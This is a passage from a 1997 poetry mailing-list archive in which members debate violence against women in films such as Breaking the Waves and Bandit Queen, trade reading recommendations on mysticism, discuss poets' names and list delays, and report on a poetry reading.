If I may speak not only for myself but - sorry - for others on the list: who do you think you're addressing? I think most people on her are considerably open-minded; if anything they (we, I) err on the side of giving too much weight to aesthetics compared to ethics. This isn't the Christian Colition reading list. Furthermore, just as you can accuse people of not "experience[ing]" films, etc. because of the imagined (guessed-at) moral (representational) content, so also there is a certain complicity in going to see such a film, since usually most people have a pretty good what they're about to see... so from my perception of it, _Breaking the Waves_ does not look like enough of an "art film" to justify my attention in spite of the apparent violence and sexism. I would take the risk of not seeing it (for the cost of nearly an hour's wage) for the same reason I might risk not seeing the latest...van Damme movie. Of course I could be convinced otherwise, ie that the movie handles its subject matter in an intellectual, sophisticated, artistic, righteous, complicated and/or "truthful" manner rather than what I assume, which is a fairly simplistic, not very complicated or -(sorry)- dialectical method. However, you have not convinced me that it does. (As below.)

Breaking the Waves
>is one of the most aesthetically interesting and emotionally powerful films I
>have ever seen.

What does it mean to say "aesthetically interesting"? Leni Rosenthal's films might be "aesthtically interesting" but it is still not difficult to understand some people walking out of them; there is an aesthetics of content too, if I can put it that way, and it may be something more than "taste".

It does disturb your gut, and I spent the last hour of it
>clenched in a tight spasm of tears, but I don't find that kind of visceral
>emotional reaction offensive...I could see, on the other hand, how one might
>be (if he/she didn't appreciate kitsch, that is) the cartoonish and tacky
>qualities of something like "Baywatch."

Perhaps I don't appreciate kitsch. That is, its never held me in tearful spasms.

Yes, Breaking the Waves is about
>oppression, but I don't think Bess's husband can be so swiftly and cleanly
>pinpointed as perpetrator. The strict, island community, which is the
>centripetal force of the film, and the notions of goodness versus evil/sin
>therein, are more accurately the culprits. I understood it less as a plot of
>male/female sexual dynamics than as one of, yes, "goodness" in the face of
>anti-Christian hypocrisy.

1.) Are you or is the film suggesting that "'goodness' in the face of anti-Christian hypocrisy" is worth being humiliated, sexually abused, beaten and killed?
2.) Occam's razor.

The husband's influence is also more ambivalent
>than what you think; it is not entirely clear that his actions are not
>sincerely motivated by a wish to liberate her from him, to free her from her
>compulsive and (also unclear) psychologically-unstable love..."love so much
>it hurts."

Well than, he's an angel. This kind of disgustingly uneven pairing of "opposites" on an ethical scale is exactly what makes me walk out of films. "We had to destroy the woman to save her..."

It takes a party pooper to spoil the end of the film,

The film described does indeed sound like a party...

but since
>the final scene is out of the bag, I think it worth noting that another way
>to read the "heavenly ascent" is as an image of redemption and love's
>justice...that the purity and goodness of unconditional, generous, unguarded

>love that Bess strives for throughout the movie in her own dialogue with God
>finally comes to her, and her wish is granted.

There is nothing kitchy about being a martyr.

I understand disgust at the
>exploitation of violence, especially violence against women, but I would hope
>such valid concerns would not keep us from appreciating

the full
>dimensionality of strange and human stories.

Please explain what is meant by this phrase.

I for one am extremely tired of going to movies that looked interesting only to discover, again and again, that they are full of violence and have almost nothing to say to their audiences other than "look at me, arn't I shocking? arn't I a trip? Gross and cool, huh?" Those Tarentino films were both like that and also the ones by David Lynch. From your defense of the film I'm putting it in a category with those.

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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174. **simon**
Re: Bandit Queen
Wed 5 Feb 1997

My initial paracomments re Bandit Queen aren't/shouldn't be based on the rape sequence (alone), nor on, what someone suggest, not seeing it (for rigidly feminist or whatever whatevers) or dismissing it (seen or unseen) (based on rigidly feminist or whatever whatevers).

I've seen it. I see a whole lotta films. I like a whole lotta filsm, movies too. Et cinema, brute'. I speak/know several South Asian languages. Lived in India. Didn't take Bandit Queen as if I thought I was going to the Travels In India series at your local community college.

What I mean is this: as whatever kind of movie you take it as, spaghetti westerns, pee wee;s big adventure, freddie's back part lxiv, the piano pianissimo, verite, austin's workout tapes, whatever... Bandit Queen is bad. It is bad. It's a bad bad bad movie. It's a really bad film. Bad.

(sit. roll over.)

beth simon

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175. **Mark Weiss**
Possession, etc.
Wed 5 Feb 1997

Armand Schwerner (who never answers his email [well, hardly ever]), recommends *Tales of the Hasidim, the Early Masters* Martin Buber, NY:Shocken 1947. It's a classic, but I think _must_ be read with Gershon Scholem's critique and corrective, "Martin Buber's Interpretation of Hasidism," in his _The Messianic Idea in Judaism_ (Schoken pb). Buber's _Major Trends in Jewish Mysticism_ (same publisher) bears looking at, too. And Eliade, _Shamanism: Archaic Techniques of Ecstasy_ (Princeton/Bollingen Series LXVII) is a locus classicus. Incidentally, and lest I bring down the wrath of the Schwerner, who has powers of his own (I've heard that the mere hint of a flame has been known to bring down immolation on the flamer), anyone interested should run immediately to his ongoing and I hope never-ending masterwork, _The Tablets_, for as good an example of multiple possessions as one could hope to find. To the uninitiated I say no more, for fear of ruining the surprise.

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176. **ejoyce**
Re: Poets' homes
Wed 5 Feb 1997

Another person who might know about Niedecker's home is Glenna Breslin of St. Mary's College. She is working on a biography of Niedecker and read a lovely paper on her relationship with her neighbor, Aeneas McAllister at last spring's Orono poetry of the '50's conference. It sounded like she has been tracking Niedecker's living situations.

Lisa Joyce

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177. **Stephen Cope**
Re: "Jibaro, my pretty . . ."
Wed 5 Feb 1997

Jibaro is a term I've seen (or heard) in much Puerto Rican song -- with distinct, often celebratory, ethnic connotations. My sense is it's similar to gitano (gypsy) in Andalusian culture. Not sure, however, if it's the same as "jivaro"...

Stephen Cope

> *Maria -- I think "jivaro" is another version of "jibaro" -- Spanish originally for "rustic or uncultured," as my DC friends used to describe people who were, in their opinion, hopelessly "country" -- came to have certain ethnic connotations in the New World --*
>
> *Felipe Luciano, of the "original" last poets, has a famous poem that begins "Jibaro, my pretty nigger," --*
>
> *when will we see the last last poets?*

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178. **Michael Boughn**

Re: Bandit Queen

Wed 5 Feb 1997

Well, I don't know why Phoolan Devi wanted the movie suppressed. If the events the movie represents occurred in the way they are represented, I certainly would understand why she, personally, might want to blow all those guys away.

Nevertheless, I still have a deep suspicion of individuals who manipulate images in such a way as to incite homicidal feelings in large numbers of strangers. Call me an old anachronistic Enlightenment goof.

It probably comes from hanging out with Maoists in the olden dayes, and seeing the way that a passion for justice can be manipulated so that very nice people end up doing very cruel things--exactly the opposite of what they thought they had set out to do--all in the name of justice. It's like all those people running through the streets looking for Jews to kill because somebody told them that the Jews drank the blood of Christian babies.

Who wouldn't want to kill them?

Mike

[redacted]

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179. **main**

Re: breaking waves, de sade, etc.

Thu 6 Feb 1997

---

this is in response to eliza mc grand's post:
> maker appears to think she is really as Good Woman, the Right Kind of

Woman,
> becuase she does. even sex which becomes increasingly violent, till a

intentional fallacy. but it brings up an interesting question: does a film maker's decision to show violence necessarily mean that s/he's condoning violence? or can it be a critique of violence?

> *sailor who has raped, beaten, and mutilated her tells her to come back for more, her husband orders her to do so, she does (that good, Griselda-myth*

her husband doesn't tell her to go back; the reasons why she goes back are several and complex. one could also argue that she chose to go back, knowing she would die.

> *of a woman) and is murdered. because she has been so dutiful, according to the filmmaker, the last scene shows her ascending to heaven...*

actually, you don't see her "ascending to heaven": you see church bells swinging in the sky-- by extension, a trope (and a silly one).

> *no one seems to be objecting to the appalling message of this film, its extreme and even approving presentation of violence against women, the notion that a good woman should do whatever her man tells her to, should be a sade-like submissive (filmmker says, in interviews, that he read de sade and was impressed. used it as one of sources/bases for film! he actually BRAGS about that!) even if it, quite literally, kills her.*

again, how can we assert what the "message" of the film is? this argument seems to privilege authorial intent.

de sade: i'm gonna risk an avalanche of invectives thrown my way and ask some questions about de sade: what do you mean by saying the film-maker was "impressed" by de sade? does reading de sade mean yr a "bad" person? i'd be curious to know how many people on the list have read de sade. how many have read de sade's work in the academy? has anyone noticed how conspicuously absent he is from the academy-endorsed 18th century canon? is this because he was a hack, or does it have to do with a timidity among scholars in grappling with these "morally problematic" works? is ignoring de sade a critical, informed, and intelligent stance? i don't think so. while the acts depicted in de sade's works are, yes, _horrible_, it's also horrible to categorically censor art based on hearsay. i know people who refuse to read freud because his work is reported to be "misogynous and phallo-centric." yes, his work is phallo-centric; but what if kristeva had come to that conclusion and refused to read him? this sort of censorship breeds ignorance and mis-information. it is to art what turning off the evening news is to the world: turning away from violence doesn't "make it go away." whatever happened to know-thy-enemy?

> *i dunno about you all, but i have so little stomach for violence against women that i am not sure i could ever see even phoolan devi, where at least it sounds like no one is trying to say its a great thing that she got raped...*

"breaking the waves" can also be seen as a critique of back-woods, patriarchical societies that base their authority on judeo-christian precedent (i.e., continuing the patriarchical traditions found within the bible). because the protagonist doesn't rise above her oppressive conditions doesn't mean that the film is condoning oppression. if she had transcended the patriarch, it would have smacked of the it's-a-wonderful-life b.s. that hollywood feeds us. sadly, these heroic-fantasy films are the ones that gross millions, because so many people are afraid to face art that addresses violence without lapsing into unrealistic heroism. this is also why westerns and the whole post-viet nam rambo stuff went over so well: we'll solve our problems on hollywood stage sets. those who censor art because of its "graphic depictions" of violence, sexuality, would have art be a way of turning away from the world, refusing to aknowledge how horrifying it can be. that, to me, is the real danger.

dan featherston

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180. George Bowering
Re: allegories of berth
Thu 6 Feb 1997

> *This afternoon a man called Small Press Traffic and said, "It says here that you're having Suzy Howe reading at New College. Is that Susan Howe?" And when I told him that is was indeed Susan Howe, he said that it said Suzy Howe in the paper. He added, "This is *terrible*."*
>
> *I wish I had asked him which paper it was in!*
>
> *Dodie Bellamy*

agree. But now I am wondering. What is Fanny Howe's name? Is it Stephanie? Anyone know?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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181. George Bowering
Re: reading lists
Thu 6 Feb 1997

Wait a minute, wait a minute! It was not I that wrote the ribald fiction yclept _Picollo Mondo_ It was the too bashful Bromige hisself who wrote that wonderful book, which I have had the pleasure of reading in typescript. And if the darn thing ever gets published I am going to buy 2 copies.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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182. Michael Boughn
delays
Thu 6 Feb 1997

Is there some problem with the list? Is anyone else suddenly having their poetics messages held back and dumped 50 at a time into their mail accounts?

Charles B., what's going on? This is most unpleasant.

Mike
[redacted]

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183. Sylvester Pollet
Re: delays
Thu 6 Feb 1997

> *Is there some problem with the list? Is anyone else suddenly having their poetics messages held back and dumped 50 at a time into their mail accounts?*
>
> *Charles B., what's going on? This is most unpleasant.*
>
> *Mike*
> [redacted]

Yes, that's been happening to me last two days. but I just switched from digest to real-time, and didn't know whether that might be the problem--the main-

frame here. evidently not? My pile of messages arrived around 9:30 a.m. EST, though a few had come before that.

Sylvester Pollet

Backwoods Broadsides
RR 5 Box 3630
Ellsworth ME
04605-9529

National Poetry Foundation
5752 Neville Hall
University of Maine
Orono ME 04469-5752

http://www.ume.maine.edu/~npf/

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184. Lisa Samuels
possession
Thu 6 Feb 1997

since ms. moriarty mentions margery kempe and robert gluck's very good and at times sublime re-imagining of kempe --

julian of norwich's writings, what are called =revelations of divine love=, are often marvelous, particularly in her measuredly ecstatic jesus-visions, her desire to "one" with god, and her revelation about the meaning of the lord and the servant parable (in the long text).

and see =the cloud of unknowing= and its (unknown)
author's talk of the "sharp dart of longing love" etc.

and with all the talk of freud, how about andre breton's =communicating vessels=, with its contention that dreams and writings are =predictive= forces, oracles of the future, rather than psychologically =descriptive= ones?

lisa s.

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185. Aldon L. Nielsen
Re: Jivaro/Jibaro
Thu 6 Feb 1997

Does anyone out there now if "Jivaro" is the name that group of Indios gave themselves, as heard and transliterated by colonizers, or if the Portuguese named them that? I suspect the latter, which is why I also suspect the relationship to "jibaro," but I know neither enough "Jivaro" history nor enough Portuguese -- and wouldn't you know it, budget cuts have pretty much removed Portuguese expertise from our campus, despite the rather large population of speakers of that language in the state --

AND for you newcomers to the list -- when the number of messages hits 50 the list is held till Charles lets go of it again (or till the next day) because Charles still isn't sure he wants to be 50 -- One reason I'm often seen including multiple subjects in one post is a futile attempt to stave off contributing to that dread number myself -- but here I am at 46 already, about to be held --

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186. **Pritchett,Pat**
Re: possession
Thu 6 Feb 1997

Also along those lines, Richard Rolle's _Fire of Love_. A contemporary of the Cloud author, as I recall. Not quite as good as Cloud or Dame Julian, but worth lookng at.

Patrick Pritchett

From: Lisa Samuels
To: POETICS
Subject: possession
Date: Thursday, February 06, 1997 10:21AM

since ms. moriarty mentions margery kempe and robert gluck's very good and at times sublime re-imagining of kempe --

julian of norwich's writings, what are called =revelations of divine love=, are often marvelous, particularly in her measuredly ecstatic jesus-visions, her desire to "one" with god, and her revelation about the meaning of the lord and the servant parable (in the long text).

and see =the cloud of unknowing= and its (unknown)
author's talk of the "sharp dart of longing love" etc.

and with all the talk of freud, how about andre breton's =communicating vessels=, with its contention that dreams and writings are =predictive= forces, oracles of the future, rather than psychologically =descriptive= ones?

lisa s.

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187. **Charles Bernstein**
Re: delays
Thu 6 Feb 1997

> *Is there some problem with the list? Is anyone else suddenly having their poetics messages held back and dumped 50 at a time into their mail accounts?*

When more than 50 messages are posted to the list in a single day, the listserv program automatically shuts down the list. We then must manually restart it, which usually happens quickly but can take up to a day. This is a good occasion for me to thank Joel Kuszai for his extraordinary help in managing the list: mostly sorting through hundreds of error messages (bounced poetics posts) and helping with various subscription problems. The list could not function without his generous commitment.

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188. **maz881**
Re: walkin out
Thu 6 Feb 1997

---

hey wendy. i walked on the english patient. the idea of walking is funny for me because i used to live with a stand up comic, ross brockley. he's a professional walker and always checks with the box office before he goes in how long into the movie he can stay & still get a refund. he even did a siskel & ebert thing for comedy central, reviews of movies he's walked on. it was too wierd for the cable guys to pick up as he harshed. anyway, he and his boyfriends, so called alternative comics (mark marron, todd berry, dave atell), would sometimes try to make their audiences walk by being intentionally unfunny and/or sick and they would count the number of people who left. i've been influenced to think that to walk the audience at a poetry reading would be well the best thing you could do.

bill

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189. **henry gould**
address query
Thu 6 Feb 1997

Anyone have an email address for Joyce Jenkins or Richard Silburg? Please BACKCHANNEL to [redacted] (don't reply to list). Thanks!! - Henry

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190. Miekal And
Re: poetry "schools"
Thu 6 Feb 1997

Michael Coffey wrote:

> *At the moment, we are thinking of such segments as Language poets, multicultural poetics, or latino and black and asian, gay and lesbian poetries, spoken or performance poetry, St. Mark's of New York School, formalist, mainstream perhaps, experimental maybe, classical, poetry in translation, etc.*

My suggestion is that for poets who are still alive, to ask them what category they wish to be in. My choice for myself would be mainstream, because lawd knows, Ive been spending my life trying to fit into the mainstream.

Miekal

who heard a rumor that qazingulaza is open for business, tho its gonna take a couple days of tweaking to make it zing. but if you cant wait & your browser is frames friendly & your connectivity hums then come check out the new imaginary land of qazingulaza.

--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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191. Michael Coffey
poetry "schools"
Thu 6 Feb 1997

Dear members of the list:

At publishers weekly, where I work, we are preparing a poetry feature for an upcoming issue. The approach is to devise a piece that will assist booksellers (and others) in knowing what the different disciplines/schools/programs/ aesthetics are across the poetry spectrum in the U.S, and connect, where possible, each segment to the houses that publish them, the companaies that distribute them, the journals that keep their authors' new work out there, or the writing programs that fuel them, or the influences that are their foundation.

At the moment, we are thinking of such segments as Language poets, multicultural poetics, or latino and black and asian, gay and lesbian poetries, spoken or

performance poetry, St. Mark's of New York School, formalist, mainstream perhaps, experimental maybe, classical, poetry in translation, etc.

Although I realize that some may see such reckoning and partitioning a woeful disservice, i think that, for the purposes of knowing how to stock a poetry section and keeping it both deep and contemporary, such an approach can be helpful.

I would appreciate hearing from anyone who agrees that this may be useful, and who might have advice to offer on the various camps/alliances etc.

Of course, i welcome comments from those who wish to dissent as well.

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192. Matthias Regan
Bandit Queen (Lone Star)
Thu 6 Feb 1997

At 01:31 PM 2/5/97 -0800, Herb Levy wrote:
(snip)
>To bring it round to a film I HAVE seen, a lot of the praise for John
>Sayles' Lone Star seems to be based on the political sentiments he projects
>(which, for the most part, I agree with) and not the film itself, which I
>think is no better or worse than most network television programs.

But in what manner no better or worse? are objecting to the "style" of the filming: the framing (or lack there of), the colors (or absence), the relative stability of the camera, etc., or to the acting or what? I thought Lone Star one of the best movies of the last several years--and not just because its general politics were agreeable, but because its artistic merit seemed closely on a par with its political stance, its statements about the perception of regional and personal histories. Perhaps its a leap, but I guess I'm tempted to compare its style as roughly comparable to a novel by Dostoevsky (in translation! (sadly)): that is to say, the "art" of the thing is less in its style than in its content, but the two inescapably influence each other. I also suggest Dostoevsky because I think Sayles' method of analysis of the society in Lone Star is similar to Dostoevsky's in, for example _The Devils_ (or _Demons_ in the latest English trans.): the society is seen from the standpoint of human interaction, and the film's method seems to be to reiterate the circumstantial influence on the character's perceptions by bring the same group of people into contact at different times in different places with different sorts of knowledge. I thought that Sayles' handling of this, and his script, and the unobtrusive clarity of the camera and acting was of the highest order. Certainly much better than the tube, IMO.

> *It's great that there are filmmakers with progressive values who are able to work within the film industry, but intentions alone do not make a good art.*

Matthias

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193. **Miekal And**
Re: Getting out the word out
Thu 6 Feb 1997

Charles Alexander wrote:

> *I guess as the two c.alexanders on this list, we had better trade some work. I'll send something your way if you'll send your book my way.*

well at least you guys were born with the name Michael David Anderson. when I was fifteen I took a look in the chicago phone book & there were 325 of em, & 12 that had my middle name. changed my name that day, I did, I did.

Michael David Anderson aka Miekal And

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194. **Pritchett,Pat**
Re: Bandit Queen (Lone Star)
Thu 6 Feb 1997

Lone Star was certainly enjoyable (I watched it with some buddies while quaffing a pint of Wild Turkey at the Flatirons Theater), but I didn't find it as noteworthy as you did Matthias. For me, Sayles is a filmmaker who thinks he's at his most poetic when he's merely being baldly schematic. I worked with him briefly on a project about Ellis Island for Propaganda Films a few years ago - nothing came of it, sotry of my life - but he's a nice guy. Still, there were some wonderful grace notes in the film. Unfortunately, it dissolved into a lot of froth.

Patrick Pritchett

From: Matthias Regan
To: POETICS
Subject: Bandit Queen (Lone Star)
Date: Thursday, February 06, 1997 2:01PM

I thought Lone Star one of the best movies of the last several years--and not just because its general politics were agreeable, but because its artistic merit seemed closely on a par with its political stance, its statements about the perception of regional and personal histories.

↑ Index

195. Franklin Bruno
(no subject)
Thu 6 Feb 1997

1) Aldon mentions:

> *BUT to reach something more substantive -- the Derrida/Harryman ref. is to a page early on in _Vice_ where Carla places lines adapted from Derrida's "The Law of Genre" (since collected for English readers in _Acts of Literature_ -- David Lehman "discovers" this fact and produces it in _Signs of the Times_ as a reason to dismiss both Derrida and Harryman --*
>
> *I had used Carla's revision of Derrida, and Bob Perelman's revision of Carla Harryman in one of his papers in one of my papers, deliverd in '88, to get at some issues in the debate between Searle and Derrida over distinctions between citation and use -- Searle thought Derrida was abusing Austin, and using him, -- see _Limited Inc_ for Derrida's sides of the debate -- for Searle's, which he refused permission to copy into _Limited Inc_, see the 1977 issue of _Glyph_ -- the essay is titled "Reiterating the Differences: A Reply to Derrida" --*

Is this '88 paper available? I've always though the D/S debate (which is also, not very covertly, one about the analytic/continental split) had fertile ties to contemporary poetics, but I haven't thought hard about it.

2) Is Joel Kuszai still around here? Could someone who knows the answer please backchannel me his e-mail address?

3) Has anyone out there read a Cuban author named Virgilio Pinera? All that seems to be translated is a remarkable book of stories called -Cold Tales- and the novel -Rene's Flesh-, both in the Erdanos Library series. Has anyone translated his poems?

fjb

↑ Index

196. Miekal And
Re: event report
Thu 6 Feb 1997

Permaculture is an international movement of designers, ecologists, gardeners, community planners, & more fringe elements such as myself. I use its design principles in all facets of life including my art, my relationships, village design, education & teaching, sex & play. Some easy ways to think of natural design is to think of the following ideas: "everything gardens", "the most amount of

change with the least amount of effort", "the problem is the solution", "work with nature, rather than against", "the yield of a system is theoretically unlimited".

Long time Australian permaculture teacher Bill Mollison says:

"Permaculture is the conscious design and maintenance of agriculturally productive ecosystems which have the diversity, stability, and resilience of natural ecosystems. It is the harmonious integration of landscape and people providing food, energy, shelter, and other material & non-material needs in a sustainable way. Without permanent agriculture there is no possibility of a stable social order."

Miekal And
who teaches permaculture but is not a permaculture teacher.
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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197. Matthias Regan
Bandit Queen (Unforgiven)
Thu 6 Feb 1997

At 04:43 PM 2/5/97 -0500, Eliza McGrand- wrote:

> *i remember in clint eastwoods "Unforgiven" there was the most horrific scene of violence against women, but i remember it being filmed in what felt like a very sympathetic, woman's-point-of-view way and i could never say quite why it felt like that (the rape and murder in "Platoon" had that same quality) but i'm wondering, now, if it is a matter of camera shots -- if the shots are taken, at least a significant number, from the "gaze" of the victim?*

I think you pose an interesting question, an area for someone to examen closely, given the violent content of most movies today. Violence is certainly the pin holding together american (contemporary foreign films are, I believe, from what few of them I have seen, no exception) films of of all kinds of genres: not only the old "gangster" and "western" genres, but many "romance" films, comedys, "arthouse" films: the fascination with guns and their effects seems unending, in Hollywood and out. What are the various circumstances of modern film violence? How are acts of violence shown? The scopofilic gaze coigned, I believe, by Laura Mulvey, and borrowed, I believe, by Frederic Jameson concerns those moments in which the "forward" motion of the film (the plot, the

events, the interactions between charactes, the scenes that give modern film its almost relentlessly forward moving narrative) is halted, usually in order to give a better view of the female body. So when the femme fatale arrives the camera pauses on her thighs and the forward motion of the action is halted. Then later some of the more college-educated directors started playing with the idea and you get Scorcese or DePalma or whoever pausing the film (often with the technology of slow motion) on depictions of violence. The beauty of violence this suggests.

> *i just remember, from "Unforgiven," a sense, rare in movies, of the violence not as quick and oh-isn't-this-a-fun-special-effect, but rather, chaotic, hard to parse, TERRIFYING, and unforgivingly terrible. one saw the utter horror of such an act, its brutality. i guess part of this was not flinching away or glossing over the appalling aftermath -- the other women trying to sew the wound, pack it with dressing and stop the bleeding, the raw masses of cotton that could not contain the disaster and the clear swelling and pain, the devastating effect on her of the scars, the pain and sympathy and anger, and worst of all, feelings of helplessness and hopelessness her injury invoked in everyone around her, even people who didn't, initially, like her that much...*

Yes. Its interesting though about the circumstances around the filmed act of violence. Showing the aftermath seems effective at times, but at other times (eg, say, "Resevoir Dogs") it seems merely gratuitious: the film hoping to make a greater aesthetic shock by "showing more." And then, as you mention, there is also the context of the plot of the film to take into account:

>
>perhaps it is violence-in-context, as well, rather than
violence-violence-violence
>with no context?

I see this as how the characters react to this violence in their world. I think when I am in the theater this is the most effective strategy, both for making the violence truly horrific and effectively "realistic" (which people might object to but I particularly enjoy films that come as close as possible to documentary styles: this has always seemed the most effective use of film, to me (ie, rather than special effects, etc.)) (cinema verite, almost). For example, I am thinking of two films by Werner Herzog with similar names: "Woteck" and "Strozek". The depiction of violence in these films (in one a soldier murders his wife, in the other a woman and a man are beaten up) is strikingly different, but I would argue equally effective. In one the violence is done shown in slow motion and is beautiful and horrifying at once; in the other it happens quickly and is barely seen in the dim light: but in both the effect of the violence on the participants: the murder, the victims, etc., is central to all the following scenes.

some of later shots in "Unforgiven" seemed a mocking parody
>of shoot-em-up cinema, where you got the "pretty" shooting scene, then you
>got the decidely unpretty result, the ambiguities of what was supposed to be
>simple revenge, the victims trying to move, their pain -- not just a quick
>snappy gloss of them with gory special effect, but again, the unswerving look
>at the simple, human, "this hurts" and bodily damage...

Then of course too is the fact that many of the earlier westerns show almost no violence at all. The final shoot-out in "Stage Coach" for example, when the camera cuts away just as the Duke fires first... But then that movie more than compensates for such "lack" by gunning down in open view several dozen Indians, the blink of an eye...

What are more examples?

↑ Index

198. Miekal And

Re: Getting out the word out

Thu 6 Feb 1997

Christopher Alexander wrote:
>
> > well at least you guys were born with the name Michael David Anderson.
>
> was not!

after 2 days away from the computer I forgot how to type--sorry to c alexander, sorry to c alexander.

m and

↑ Index

199. Rachel Loden

for db: initializing, establishing, and authentication

Thu 6 Feb 1997

David Bromige writes:

"oh oh, lookout, here comes something else barely related: can anyone describe to me in words an english professor can understand, the actual nuts and bolts of "Initializing", "Establishing," and "Authenticiation," in the context of logging-on? Thinking of it as one code meeting another (I suppose), can anyone get more micro abt it? My interest has to do with metaphor, so dont go metaphorical on me more than you can possibly help. Or put it this way, why are those 3

words used for those three sets of operations--why those three words and not their cognates or cousins. thanks if you can help, db"

This response from resident software architect.

Re actual nuts and bolts:

Initialization, of, I assume, a session with a computer system. There's what's known as transient state associated to such a beast -- you will find hidden underneath in the deep dank basement a set of running software programs that are needed to keep that connection alive. They have state, data, that needs to be set in order for the programs to function. Things like where this connection is coming from, the port number etc etc etc. That set-up, and getting these programs going, is called initialization.

There is an opposite to initialization; when the session is dropped and all that transient data is forgotten. Of course, some of it may get logged, so that Big Brother can keep track of his minions.

Establishment: when the connection is actual, live, and ready to go --- both endpoints are there, know about each other and can start yammering away.

Authentication. To do with computer security ---- is Mr. DB at the end of the line really Mr. DB, or some other sinister influence? How would the system know? How would we ever know? The protocol for authentication usually involves exchange of protected/encrypted data, such as passwords.

Jussi Ketonen
[redacted]

↑ Index

200. Miekal And
child of tree
Thu 6 Feb 1997

---

according to the list specs Chris Shultis is on this list. is this the same chris shultis that performed cage's child of tree for amplified cactus. chris, where can I get a recording of that?

miekal and

who still hasnt been able to get a good solid plunk out of his 3 ft barrel cactus

↑ Index

201. Laura Moriarty
Re: allegories of berth
Thu 6 Feb 1997

George

Just talked to Fanny on the phone and she said no it's just Fanny.

Laura

> *This afternoon a man called Small Press Traffic and said, "It says here*
> *that you're having Suzy Howe reading at New College. Is that Susan Howe?"*
> *And when I told him that is was indeed Susan Howe, he said that it said*
> *Suzy Howe in the paper. He added, "This is *terrible*."*
>
> *I wish I had asked him which paper it was in!*
>
> *Dodie Bellamy*
>
> *agree. But now I am wondering. What is Fanny Howe's name? Is it Stephanie?*
> *Anyone know?*
>
> *George Bowering.*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

↑ Index

202. Christopher Alexander
Re: Getting out the word out
Thu 6 Feb 1997

matthias wrote:
> I check out seven, read one, return
> five, get heavilyfined on two, check out five, read two, return seven, begin
> the cycle again. I consider it doing my part to assist in the up-keep of
> such institutions: my method usually generates an average of $20 in fines
> per book read. About the cost of the book did I buy it in a store.

well, I suppose this is to some extent the general case.
I was just thinking semi-seriously that we could turn
our disorganzied non-effort into an organized effort.
but maybe theres little point l. lets just everybody keep
up the good work, then.

> *Who said the below?*
>
> *"Or, worse, they will change the point of view*
> *(top becomes bottom, male becomes female, etc etc)*
> *and think, like the [Realists] they are, that they*
> *have changed something."*

nobody, or I did. actually it came from Spicer (& from
somewhere before that etc) but obviously through me.

> Why have we heard nothing about your new limited edition on here?
> Its recent review?
um, ok well I wasnt going to say anything
about it just yet but I do "have a chapbook
out" now --Dusky Winders-- on
nominative press collective (which is me & kinkos).

its avail for $3 or possibly for trade
(I do very high quality offset work)
from me

c alexander
160S 1300E #16
Salt Lake City UT 84102

or email me
[redacted]

if you want to hear about the work,
Peter Ganick has written a review of it
for Taproot--but I'm not sure when it
will appear, really. I just read it myself.

c.

..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

"Or, worse, they will change the point of view
(top becomes bottom, male becomes female, etc etc)

and think, like the [Realists] they are, that they
have changed something."

↑ Index

203. Christopher Alexander
Re: Getting out the word out
Thu 6 Feb 1997

---

forgot to mention that the chapbk is limited to 20 (now 16) copies.

> but I do "have a chapbook out" now --Dusky Winders-- on
> nominative press collective (which is me & kinkos).
>
> its avail for $3 or possibly for trade (I do very high quality offset work)
> from me c alexander 160S 1300E #16 Salt Lake City UT 84102
> or email me [redacted]
>
> if you want to hear about the work, Peter Ganick has written a review of it
> for Taproot--but I'm not sure when it will appear, really. I just read it myself.
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

"Philosophy is intellectual order, which neither religion nor common sense can be. It is to be observed that religion & common sense do not coincide either, but that religion is an element of fragmented common sense. Moreover common sense is a collective noun, like religion: there is not just one common sense, for that too is a product of history & a part of the historical process. Philosophy is criticism & the superseding of religion & 'common sense'. In this sense it coincides with 'good' as opposed to 'common' sense."

Gramsci

↑ Index

204. maria damon
event report
Thu 6 Feb 1997

---

hi guyzies: here's a cc of a note i sent to my colleagues today about miekal and's reading, which inaugurated the "alternative verbal arts" reading series brian horihan and i are doing at the university:

From: "maria damon" <[redacted]>
Date: Thu, 6 Feb 97 20:34:57 -0600

To: [redacted],
[redacted]
Subject: reading

just a note to thank everyone who attended the inaugural poetry reading of the "alternative verbal arts" series and, for non-attendants, to describe the event. miekal and was wearing a coat made of scraps of cloth with words on them, entirely handstitched by a friend, zebra-striped pyjama pants, and an earring that was a tiny book of pen and ink designs. that about sums up the atmosphere. he read some poetry, then played some of his charming computer poems for us, which featured some word-animation, sound, and visual/collage like material. play and inventiveness was the main agenda. he showed a few parts of the hypertext he and i are collaborating on; shd have a website in a few days. he finished with a love poem, fairly conventional in syntax and content, accompanying himself on amplified home-made ocarinas that looked like gourds and sounded haunting, esp w/ the echo effect of the amp. then he sold material, print and graphic, from his Xexoxial Editions press. the crowd (a fulll house) was pretty diverse: a couple of undergrads including brian horihan, the organizer whose UROP grant is sponsoring the event, and a creative writing major named martin; a number of folks from the mfa program in creative writing (including anna reckin, elissa raffa, jenny willoughby and some people whose names i don't know), some american studies and history students, a few people from the alternative arts community and teachers of permaculture, three faculty members and some students from the lit program such as laurie dickinson, who doubled as tech support, and curt leitz. it was fun to see people who know each other from different parts of their lives run in to each other there (like, an amstud student and an experimental theatre person; a history student and a soo-line garden founder) and express delighted surprise. the refreshments, provided by creative writing, were elegant and went like hotcakes. all in all, a gala event. next week's event will most likely be more subdued with fewer visuals, but engaging and cool nonetheless. again, thank you all--maria damon

↑ Index

205. **Maria Damon (Maria Damon)**
Re: Celebrating Tet in the dorm this week
Thu 6 Feb 1997

---

the LATE toni cade bambara? have i missed something?

> *Prince's name before was, as it happens, Prince -- but there was more to it back then --*
>
